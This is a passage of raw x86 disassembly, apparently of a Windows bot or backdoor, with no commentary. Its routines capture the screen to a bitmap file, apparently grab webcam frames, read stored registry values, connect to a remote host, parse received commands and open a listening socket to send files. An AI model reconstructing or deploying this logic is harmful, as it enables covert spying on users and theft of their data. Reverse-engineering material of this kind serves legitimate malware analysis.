esp, 31Ch mov eax, [ebp+arg_0] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp+var_11C] xor edx, edx rep movsd xor edi, edi mov [ebp+var_8], 80h inc edi cmp [ebp+var_10], edx mov [ebp+var_4], edx mov [eax+110h], edi jnz short loc_415C3F push edx lea eax, [ebp+var_118] push [ebp+var_14] push offset dword_44D22C push eax push [ebp+var_11C] call sub_409C75 add esp, 14h loc_415C3F: ; CODE XREF: sub_415BEC+33j cmp [ebp+var_98], 0 jz short loc_415C5F lea eax, [ebp+var_98] push eax call sub_41E710 test eax, eax pop ecx mov [ebp+var_4], eax jz short loc_415C5F mov [ebp+var_8], eax loc_415C5F: ; CODE XREF: sub_415BEC+5Aj ; sub_415BEC+6Ej and [ebp+arg_0], 0 mov esi, offset dword_4E6BD8 loc_415C68: ; CODE XREF: sub_415BEC+D4j mov eax, [ebp+arg_0] cmp eax, [ebp+var_8] jge short loc_415CC2 cmp byte ptr [esi], 0 jz short loc_415CB1 cmp [ebp+var_98], 0 jz short loc_415C97 cmp [ebp+var_4], 0 jnz short loc_415C97 lea eax, [ebp+var_98] push eax push esi call sub_418B5C pop ecx test eax, eax pop ecx jz short loc_415CB1 loc_415C97: ; CODE XREF: sub_415BEC+90j ; sub_415BEC+96j push edi lea eax, [ebp+var_118] push [ebp+var_14] push esi push eax push [ebp+var_11C] call sub_409C75 add esp, 14h loc_415CB1: ; CODE XREF: sub_415BEC+87j ; sub_415BEC+A9j inc [ebp+arg_0] add esi, 80h cmp esi, offset dword_4EABD8 jl short loc_415C68 loc_415CC2: ; CODE XREF: sub_415BEC+82j lea eax, [ebp+var_31C] push offset dword_44D248 push eax call sub_41EA60 xor esi, esi pop ecx cmp [ebp+var_10], esi pop ecx jnz short loc_415CFC push esi lea eax, [ebp+var_31C] push [ebp+var_14] push eax lea eax, [ebp+var_118] push eax push [ebp+var_11C] call sub_409C75 add esp, 14h loc_415CFC: ; CODE XREF: sub_415BEC+EEj lea eax, [ebp+var_31C] push eax call sub_415A3C push [ebp+var_18] call sub_40B9A7 pop ecx pop ecx push esi call ds:dword_4F53A0 ; ExitThread pop edi pop esi sub_415BEC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D1B proc near ; CODE XREF: sub_401C87+73A7p var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call ds:dword_4E2FB4 ; CreateDCA mov edi, eax cmp edi, esi mov [ebp+var_20], edi jz loc_415F4F push 8 push edi call ds:dword_4E2FD0 ; GetDeviceCaps push 0Ah push edi mov [ebp+var_8], eax call ds:dword_4E2FD0 ; GetDeviceCaps push 0Ch push edi mov [ebp+var_C], eax call ds:dword_4E2FD0 ; GetDeviceCaps cmp eax, 8 mov [ebp+var_10], eax ja short loc_415D7D push 18h push edi call ds:dword_4E2FD0 ; GetDeviceCaps mov ebx, 100h jmp short loc_415D7F ; --------------------------------------------------------------------------- loc_415D7D: ; CODE XREF: sub_415D1B+50j xor ebx, ebx loc_415D7F: ; CODE XREF: sub_415D1B+60j push edi call ds:dword_4E3014 ; CreateCompatibleDC cmp eax, esi mov [ebp+var_4], eax jz loc_415F34 mov eax, [ebp+var_8] push esi mov [ebp+var_80], eax mov eax, [ebp+var_C] mov [ebp+var_7C], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_76], ax lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_84] push 1 push eax push edi mov [ebp+var_84], 28h mov [ebp+var_78], 1 mov [ebp+var_74], esi mov [ebp+var_70], esi mov [ebp+var_6C], esi mov [ebp+var_68], esi mov [ebp+var_64], ebx mov [ebp+var_60], ebx call ds:dword_4E300C ; CreateDIBSection cmp eax, esi mov [ebp+var_1C], eax jz loc_415F3F push eax push [ebp+var_4] call ds:dword_4E2E98 ; SelectObject cmp eax, esi jz loc_415F3F cmp eax, 0FFFFFFFFh jz loc_415F3F push 0CC0020h push esi push esi push edi push [ebp+var_C] push [ebp+var_8] push esi push esi push [ebp+var_4] call ds:dword_4E3010 ; BitBlt test eax, eax jz loc_415F3F cmp ebx, esi jz short loc_415E3C lea eax, [ebp+var_484] push eax push ebx push esi push [ebp+var_4] call ds:dword_4E2EEC ; GetDIBColorTable mov ebx, eax loc_415E3C: ; CODE XREF: sub_415D1B+10Bj mov edi, [ebp+var_10] mov ecx, [ebp+var_8] imul edi, [ebp+var_C] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp+var_8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp+var_26], eax mov eax, [ebp+var_C] push esi push esi push 40000000h push [ebp+arg_0] mov [ebp+var_50], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_30], 4D42h mov [ebp+var_2E], edx mov [ebp+var_2A], si mov [ebp+var_28], si mov [ebp+var_58], 28h mov [ebp+var_54], ecx mov [ebp+var_4C], 1 mov [ebp+var_4A], ax mov [ebp+var_48], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_3C], esi mov [ebp+var_38], ebx mov [ebp+var_34], esi call ds:off_4F53C0 cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_415F1F lea ecx, [ebp+var_14] push esi push ecx lea ecx, [ebp+var_30] push 0Eh push ecx push eax call ds:dword_4F53B4 ; WriteFile lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_58] push 28h push eax push [ebp+arg_0] call ds:dword_4F53B4 ; WriteFile cmp ebx, esi jz short loc_415F01 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_484] push [ebp+var_8] push eax push [ebp+arg_0] call ds:dword_4F53B4 ; WriteFile loc_415F01: ; CODE XREF: sub_415D1B+1CCj lea eax, [ebp+var_14] push esi push eax push edi push [ebp+var_18] push [ebp+arg_0] call ds:dword_4F53B4 ; WriteFile push [ebp+arg_0] call ds:off_4F533C xor esi, esi inc esi loc_415F1F: ; CODE XREF: sub_415D1B+1A2j push [ebp+var_1C] call ds:dword_4E2F24 ; DeleteObject push [ebp+var_4] call ds:dword_4E2E84 ; DeleteDC mov edi, [ebp+var_20] loc_415F34: ; CODE XREF: sub_415D1B+70j push edi call ds:dword_4E2E84 ; DeleteDC mov eax, esi jmp short loc_415F51 ; --------------------------------------------------------------------------- loc_415F3F: ; CODE XREF: sub_415D1B+C7j ; sub_415D1B+D9j ... push edi call ds:dword_4E2E84 ; DeleteDC push [ebp+var_4] call ds:dword_4E2E84 ; DeleteDC loc_415F4F: ; CODE XREF: sub_415D1B+23j xor eax, eax loc_415F51: ; CODE XREF: sub_415D1B+222j pop edi pop esi pop ebx leave retn sub_415D1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F56 proc near ; CODE XREF: sub_401C87+74CEp var_34 = byte ptr -34h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi xor esi, esi push edi inc esi xor ebx, ebx push esi push ds:dword_4EABD8 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call ds:dword_4E2F18 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_415F94 mov eax, esi jmp loc_41614A ; --------------------------------------------------------------------------- loc_415F94: ; CODE XREF: sub_415F56+35j push edi call ds:dword_4E2F68 ; IsWindow test eax, eax jz short loc_415FB1 push ebx push [ebp+arg_4] push 40Ah push edi call ds:dword_4E3024 ; SendMessageA jmp short loc_415FB3 ; --------------------------------------------------------------------------- loc_415FB1: ; CODE XREF: sub_415F56+47j xor eax, eax loc_415FB3: ; CODE XREF: sub_415F56+59j cmp eax, ebx jnz short loc_415FBE loc_415FB7: ; CODE XREF: sub_415F56+88j ; sub_415F56+BCj mov ebx, esi jmp loc_41613F ; --------------------------------------------------------------------------- loc_415FBE: ; CODE XREF: sub_415F56+5Fj push edi call ds:dword_4E2F68 ; IsWindow test eax, eax jz short loc_415FDB lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call ds:dword_4E3024 ; SendMessageA loc_415FDB: ; CODE XREF: sub_415F56+71j cmp [ebp+var_20], ebx jz short loc_415FB7 push edi call ds:dword_4E2F68 ; IsWindow test eax, eax mov edi, 42Ch jz short loc_416001 push ebx push ebx push edi push [ebp+var_4] call ds:dword_4E3024 ; SendMessageA mov [ebp+arg_4], eax jmp short loc_416004 ; --------------------------------------------------------------------------- loc_416001: ; CODE XREF: sub_415F56+98j mov [ebp+arg_4], ebx loc_416004: ; CODE XREF: sub_415F56+A9j push [ebp+arg_4] call sub_41BE40 cmp eax, ebx pop ecx mov [ebp+var_8], eax jz short loc_415FB7 push [ebp+arg_4] call sub_41BE40 mov esi, eax pop ecx cmp esi, ebx jnz short loc_41602B xor ebx, ebx inc ebx jmp loc_41613F ; --------------------------------------------------------------------------- loc_41602B: ; CODE XREF: sub_415F56+CBj push [ebp+var_4] call ds:dword_4E2F68 ; IsWindow test eax, eax jz short loc_416048 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call ds:dword_4E3024 ; SendMessageA loc_416048: ; CODE XREF: sub_415F56+E0j push [ebp+arg_4] push [ebp+var_8] push esi call sub_41FBF0 mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_416063 mov ecx, 280h loc_416063: ; CODE XREF: sub_415F56+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_41606F mov eax, 1E0h loc_41606F: ; CODE XREF: sub_415F56+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call ds:dword_4E2F68 ; IsWindow test eax, eax mov edi, 42Dh jz short loc_4160B9 push esi push [ebp+arg_4] push edi push [ebp+var_4] call ds:dword_4E3024 ; SendMessageA loc_4160B9: ; CODE XREF: sub_415F56+153j push [ebp+var_4] call ds:dword_4E2F68 ; IsWindow test eax, eax jz short loc_4160D6 push ebx push ebx push 43Dh push [ebp+var_4] call ds:dword_4E3024 ; SendMessageA loc_4160D6: ; CODE XREF: sub_415F56+16Ej push [ebp+var_4] call ds:dword_4E2F68 ; IsWindow test eax, eax jz short loc_4160F5 push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call ds:dword_4E3024 ; SendMessageA loc_4160F5: ; CODE XREF: sub_415F56+18Bj push [ebp+var_4] call ds:dword_4E2F68 ; IsWindow test eax, eax jz short loc_416112 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call ds:dword_4E3024 ; SendMessageA loc_416112: ; CODE XREF: sub_415F56+1AAj push [ebp+var_8] call sub_41C9D0 push esi call sub_41C9D0 pop ecx pop ecx push [ebp+var_4] call ds:dword_4E2F68 ; IsWindow test eax, eax jz short loc_41613F push ebx push ebx push 40Bh push [ebp+var_4] call ds:dword_4E3024 ; SendMessageA loc_41613F: ; CODE XREF: sub_415F56+63j ; sub_415F56+D0j ... push [ebp+var_4] call ds:dword_4E3078 ; DestroyWindow mov eax, ebx loc_41614A: ; CODE XREF: sub_415F56+39j pop edi pop esi pop ebx leave retn sub_415F56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41614F proc near ; CODE XREF: sub_401C87+758Ap var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi xor esi, esi push edi inc esi xor ebx, ebx push esi push ds:dword_4EABD8 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow_0 ; "Window" call ds:dword_4E2F18 mov edi, eax cmp edi, ebx jnz short loc_41618D mov eax, esi jmp loc_416389 ; --------------------------------------------------------------------------- loc_41618D: ; CODE XREF: sub_41614F+35j push edi call ds:dword_4E2F68 ; IsWindow test eax, eax jz short loc_4161AA push ebx push [ebp+arg_4] push 40Ah push edi call ds:dword_4E3024 ; SendMessageA jmp short loc_4161AC ; --------------------------------------------------------------------------- loc_4161AA: ; CODE XREF: sub_41614F+47j xor eax, eax loc_4161AC: ; CODE XREF: sub_41614F+59j cmp eax, ebx jnz short loc_4161B7 loc_4161B0: ; CODE XREF: sub_41614F+8Bj ; sub_41614F+BCj mov ebx, esi jmp loc_416380 ; --------------------------------------------------------------------------- loc_4161B7: ; CODE XREF: sub_41614F+5Fj push edi call ds:dword_4E2F68 ; IsWindow test eax, eax jz short loc_4161D7 lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call ds:dword_4E3024 ; SendMessageA loc_4161D7: ; CODE XREF: sub_41614F+71j cmp [ebp+var_7C], ebx jz short loc_4161B0 push edi call ds:dword_4E2F68 ; IsWindow test eax, eax jz short loc_4161FA push ebx push ebx push 42Ch push edi call ds:dword_4E3024 ; SendMessageA mov [ebp+arg_4], eax jmp short loc_4161FD ; --------------------------------------------------------------------------- loc_4161FA: ; CODE XREF: sub_41614F+96j mov [ebp+arg_4], ebx loc_4161FD: ; CODE XREF: sub_41614F+A9j push [ebp+arg_4] call sub_41BE40 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_4161B0 push [ebp+arg_4] call sub_41BE40 mov esi, eax pop ecx cmp esi, ebx jnz short loc_416224 xor ebx, ebx inc ebx jmp loc_416380 ; --------------------------------------------------------------------------- loc_416224: ; CODE XREF: sub_41614F+CBj push edi call ds:dword_4E2F68 ; IsWindow test eax, eax jz short loc_416241 push [ebp+var_4] push [ebp+arg_4] push 42Ch push edi call ds:dword_4E3024 ; SendMessageA loc_416241: ; CODE XREF: sub_41614F+DEj push [ebp+arg_4] push [ebp+var_4] push esi call sub_41FBF0 mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_41625C mov ecx, 0A0h loc_41625C: ; CODE XREF: sub_41614F+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_416266 push 78h pop eax loc_416266: ; CODE XREF: sub_41614F+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call ds:dword_4E2F68 ; IsWindow test eax, eax jz short loc_4162AB push esi push [ebp+arg_4] push 42Dh push edi call ds:dword_4E3024 ; SendMessageA loc_4162AB: ; CODE XREF: sub_41614F+14Aj push edi call ds:dword_4E2F68 ; IsWindow test eax, eax jz short loc_4162C8 lea eax, [ebp+var_64] push eax push 60h push 441h push edi call ds:dword_4E3024 ; SendMessageA loc_4162C8: ; CODE XREF: sub_41614F+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call ds:dword_4E2F68 ; IsWindow test eax, eax jz short loc_416306 lea eax, [ebp+var_64] push eax push 60h push 440h push edi call ds:dword_4E3024 ; SendMessageA loc_416306: ; CODE XREF: sub_41614F+1A3j push edi call ds:dword_4E2F68 ; IsWindow test eax, eax jz short loc_416321 push [ebp+arg_0] push ebx push 414h push edi call ds:dword_4E3024 ; SendMessageA loc_416321: ; CODE XREF: sub_41614F+1C0j push edi call ds:dword_4E2F68 ; IsWindow test eax, eax jz short loc_41633A push ebx push ebx push 43Eh push edi call ds:dword_4E3024 ; SendMessageA loc_41633A: ; CODE XREF: sub_41614F+1DBj push edi call ds:dword_4E2F68 ; IsWindow test eax, eax jz short loc_416357 push [ebp+var_4] push [ebp+arg_4] push 42Dh push edi call ds:dword_4E3024 ; SendMessageA loc_416357: ; CODE XREF: sub_41614F+1F4j push [ebp+var_4] call sub_41C9D0 push esi call sub_41C9D0 pop ecx pop ecx push edi call ds:dword_4E2F68 ; IsWindow test eax, eax jz short loc_416380 push ebx push ebx push 40Bh push edi call ds:dword_4E3024 ; SendMessageA loc_416380: ; CODE XREF: sub_41614F+63j ; sub_41614F+D0j ... push edi call ds:dword_4E3078 ; DestroyWindow mov eax, ebx loc_416389: ; CODE XREF: sub_41614F+39j pop edi pop esi pop ebx leave retn sub_41614F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41638E proc near ; CODE XREF: sub_401C87+25AAp var_3F0 = byte ptr -3F0h var_2EC = byte ptr -2ECh var_EC = byte ptr -0ECh var_6C = byte ptr -6Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F0h push edi xor edi, edi cmp ds:off_44E134, edi mov [ebp+var_8], 80h jz loc_41653E push ebx push esi mov eax, offset off_44E134 mov esi, offset dword_44E140 loc_4163B9: ; CODE XREF: sub_41638E+1A8j lea ecx, [ebp+var_4] push ecx push 20019h push edi push dword ptr [eax] push dword ptr [esi-10h] call ds:dword_4E3038 ; RegOpenKeyExA lea eax, [ebp+var_8] push eax lea eax, [ebp+var_EC] push eax push edi push edi push dword ptr [esi-8] push [ebp+var_4] call ds:dword_4E2EC8 ; RegQueryValueExA test eax, eax jnz loc_416525 mov eax, [esi] cmp eax, edi jz loc_4164E5 push eax lea eax, [ebp+var_EC] push eax lea eax, [ebp+var_3F0] push offset dword_44E568 push eax call sub_41EA60 lea eax, [ebp+var_3F0] push (offset aSr+2) push eax call sub_41E490 mov ebx, eax add esp, 18h cmp ebx, edi jz loc_416525 jmp short loc_416444 ; --------------------------------------------------------------------------- loc_416432: ; CODE XREF: sub_41638E+C7j push dword ptr [esi+4] lea eax, [ebp+var_6C] push eax call sub_41EBB0 pop ecx test eax, eax pop ecx jz short loc_41645C loc_416444: ; CODE XREF: sub_41638E+A2j push ebx lea eax, [ebp+var_6C] push 64h push eax call sub_41EFB0 add esp, 0Ch test eax, eax jnz short loc_416432 jmp loc_4164DC ; --------------------------------------------------------------------------- loc_41645C: ; CODE XREF: sub_41638E+B4j push 3Dh push dword ptr [esi+4] call sub_41F720 pop ecx test eax, eax pop ecx lea eax, [ebp+var_6C] jz short loc_41649F push (offset aSr+4) push eax call sub_41F870 push (offset aSr+6) push edi call sub_41F870 push eax lea eax, [ebp+var_2EC] push dword ptr [esi-4] push offset dword_44E574 push eax call sub_41EA60 add esp, 20h jmp short loc_4164B7 ; --------------------------------------------------------------------------- loc_41649F: ; CODE XREF: sub_41638E+DFj push eax lea eax, [ebp+var_2EC] push dword ptr [esi-4] push offset dword_44E58C push eax call sub_41EA60 add esp, 10h loc_4164B7: ; CODE XREF: sub_41638E+10Fj push edi lea eax, [ebp+var_2EC] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 lea eax, [ebp+var_2EC] push eax call sub_415A3C add esp, 18h loc_4164DC: ; CODE XREF: sub_41638E+C9j push ebx call sub_41BCF0 pop ecx jmp short loc_416525 ; --------------------------------------------------------------------------- loc_4164E5: ; CODE XREF: sub_41638E+65j lea eax, [ebp+var_EC] push eax lea eax, [ebp+var_2EC] push dword ptr [esi-4] push offset dword_44E5A4 push eax call sub_41EA60 push edi lea eax, [ebp+var_2EC] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 lea eax, [ebp+var_2EC] push eax call sub_415A3C add esp, 28h loc_416525: ; CODE XREF: sub_41638E+5Bj ; sub_41638E+9Cj ... push [ebp+var_4] call ds:dword_4E2FA4 ; RegCloseKey add esi, 18h lea eax, [esi-0Ch] cmp [eax], edi jnz loc_4163B9 pop esi pop ebx loc_41653E: ; CODE XREF: sub_41638E+19j pop edi leave retn sub_41638E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416541 proc near ; CODE XREF: sub_4165C7+33p ; sub_416B2D+BCp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call ds:dword_4E3048 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_4165BD push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41E4B0 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call ds:dword_4E2FC8 ; htons push [ebp+arg_0] mov [ebp+var_E], ax call ds:dword_4E3008 ; inet_addr cmp eax, esi jnz short loc_4165A2 push [ebp+arg_0] call ds:dword_4E304C ; gethostbyname test eax, eax jz short loc_4165BD mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_4165A2: ; CODE XREF: sub_416541+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call ds:dword_4E2F70 ; connect cmp eax, esi jnz short loc_4165C1 push edi call ds:dword_4E3060 ; closesocket loc_4165BD: ; CODE XREF: sub_416541+1Bj ; sub_416541+58j mov eax, esi jmp short loc_4165C3 ; --------------------------------------------------------------------------- loc_4165C1: ; CODE XREF: sub_416541+73j mov eax, edi loc_4165C3: ; CODE XREF: sub_416541+7Ej pop edi pop esi leave retn sub_416541 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4165C7 proc near ; DATA XREF: sub_401C87+9DEo var_11B4 = byte ptr -11B4h var_1B4 = byte ptr -1B4h var_1AC = byte ptr -1ACh var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 11B4h call sub_41EF80 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1B4] rep movsd push [ebp+var_14] xor esi, esi inc esi mov [eax+1B0h], esi lea eax, [ebp+var_1AC] push eax call sub_416541 mov ebx, eax pop ecx cmp ebx, 0FFFFFFFFh pop ecx jnz short loc_41665A lea eax, [ebp+var_11B4] push offset unk_44E5BC push eax call sub_41EA60 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_41663D push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_409C75 add esp, 14h loc_41663D: ; CODE XREF: sub_4165C7+59j lea eax, [ebp+var_11B4] push eax call sub_415A3C push [ebp+var_10] call sub_40B9A7 pop ecx pop ecx push esi call ds:dword_4F53A0 ; ExitThread loc_41665A: ; CODE XREF: sub_4165C7+3Fj push offset dword_4EABF4 push ebx call sub_41A8ED pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_4166C5 lea eax, [ebp+var_11B4] push offset unk_44E5E0 push eax call sub_41EA60 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_4166A1 push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_409C75 add esp, 14h loc_4166A1: ; CODE XREF: sub_4165C7+BDj lea eax, [ebp+var_11B4] push eax call sub_415A3C pop ecx push ebx call ds:dword_4E3060 ; closesocket push [ebp+var_10] call sub_40B9A7 pop ecx push esi call ds:dword_4F53A0 ; ExitThread loc_4166C5: ; CODE XREF: sub_4165C7+A3j push 64h call ds:dword_4F534C ; Sleep xor edi, edi mov esi, 1000h loc_4166D4: ; CODE XREF: sub_4165C7+168j push esi lea eax, [ebp+var_11B4] push edi push eax call sub_41E4B0 add esp, 0Ch lea eax, [ebp+var_11B4] push edi push esi push eax push ebx call ds:dword_4E2FE0 ; recv test eax, eax jle short loc_416731 lea eax, [ebp+var_11B4] push offset asc_44E610 ; "\n" push eax call sub_41F630 lea eax, [ebp+var_11B4] push eax call sub_41A6D9 add esp, 0Ch test eax, eax jz short loc_416731 push 64h call ds:dword_4F534C ; Sleep push 0Ah call sub_40B8D3 test eax, eax pop ecx jnz short loc_4166D4 loc_416731: ; CODE XREF: sub_4165C7+130j ; sub_4165C7+154j lea eax, [ebp+var_11B4] push offset unk_44E614 push eax call sub_41EA60 cmp [ebp+var_8], edi pop ecx pop ecx jnz short loc_416764 push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_409C75 add esp, 14h loc_416764: ; CODE XREF: sub_4165C7+180j lea eax, [ebp+var_11B4] push eax call sub_415A3C pop ecx push ebx call ds:dword_4E3060 ; closesocket push [ebp+var_10] call sub_40B9A7 pop ecx push edi call ds:dword_4F53A0 ; ExitThread sub_4165C7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416788 proc near ; DATA XREF: sub_401C87+78BCo var_A04 = byte ptr -0A04h var_604 = byte ptr -604h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_3FC = byte ptr -3FCh var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h var_1E0 = byte ptr -1E0h var_DC = byte ptr -0DCh var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_48 = byte ptr -48h var_44 = dword ptr -44h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1FC] rep movsd xor ebx, ebx xor esi, esi inc ebx push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp+var_10], esi mov [ebp+var_C], esi mov [ebp+var_20], esi call ds:dword_4E3048 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_18], edi jnz short loc_4167D6 push offset unk_44E648 jmp loc_41698F ; --------------------------------------------------------------------------- loc_4167D6: ; CODE XREF: sub_416788+42j push 10h lea eax, [ebp+var_30] push esi push eax call sub_41E4B0 add esp, 0Ch mov [ebp+var_30], 2 push esi call ds:dword_4E2FC8 ; htons mov word ptr [ebp+var_2E], ax lea eax, [ebp+var_30] push 10h push eax push edi mov [ebp+var_2E+2], esi call ds:dword_4E2FF4 ; bind test eax, eax jz short loc_416814 push offset unk_44E66C jmp loc_41698F ; --------------------------------------------------------------------------- loc_416814: ; CODE XREF: sub_416788+80j lea eax, [ebp+var_1C] mov [ebp+var_1C], 10h push eax lea eax, [ebp+var_30] push eax push edi call ds:dword_4E2F6C ; getsockname push [ebp+var_2E] call ds:dword_4E2EF8 ; htons mov [ebp+var_4], eax lea eax, [ebp+var_1E0] push eax mov [ebp+arg_0], esi call sub_41BC70 pop ecx loc_416846: ; CODE XREF: sub_416788+EFj mov ecx, [ebp+arg_0] mov al, [ebp+ecx+var_1E0] cmp al, 20h jnz short loc_416859 push 5Fh pop eax jmp short loc_41685C ; --------------------------------------------------------------------------- loc_416859: ; CODE XREF: sub_416788+CAj movsx eax, al loc_41685C: ; CODE XREF: sub_416788+CFj mov [ebp+ecx+var_604], al lea eax, [ebp+var_1E0] inc ecx push eax mov [ebp+arg_0], ecx call sub_41BC70 cmp [ebp+arg_0], eax pop ecx jbe short loc_416846 push ebx push edi call ds:dword_4E2FF0 ; listen test eax, eax jz short loc_41688F push offset unk_44E690 jmp loc_41698F ; --------------------------------------------------------------------------- loc_41688F: ; CODE XREF: sub_416788+FBj push esi push esi push 3 push esi push ebx lea eax, [ebp+var_1E0] push 80000000h push eax call ds:off_4F53C0 cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_4168B9 push offset unk_44E6B4 jmp loc_41698F ; --------------------------------------------------------------------------- loc_4168B9: ; CODE XREF: sub_416788+125j push esi push eax call ds:off_4F53DC mov [ebp+arg_0], eax push eax movzx eax, word ptr [ebp+var_4] push eax push [ebp+var_1FC] call sub_40AEAD pop ecx push eax call ds:dword_4E3008 ; inet_addr push eax call ds:dword_4E2FC4 ; htonl push eax lea eax, [ebp+var_1E0] push eax lea eax, [ebp+var_3FC] push offset dword_44E6D4 push eax call sub_41EA60 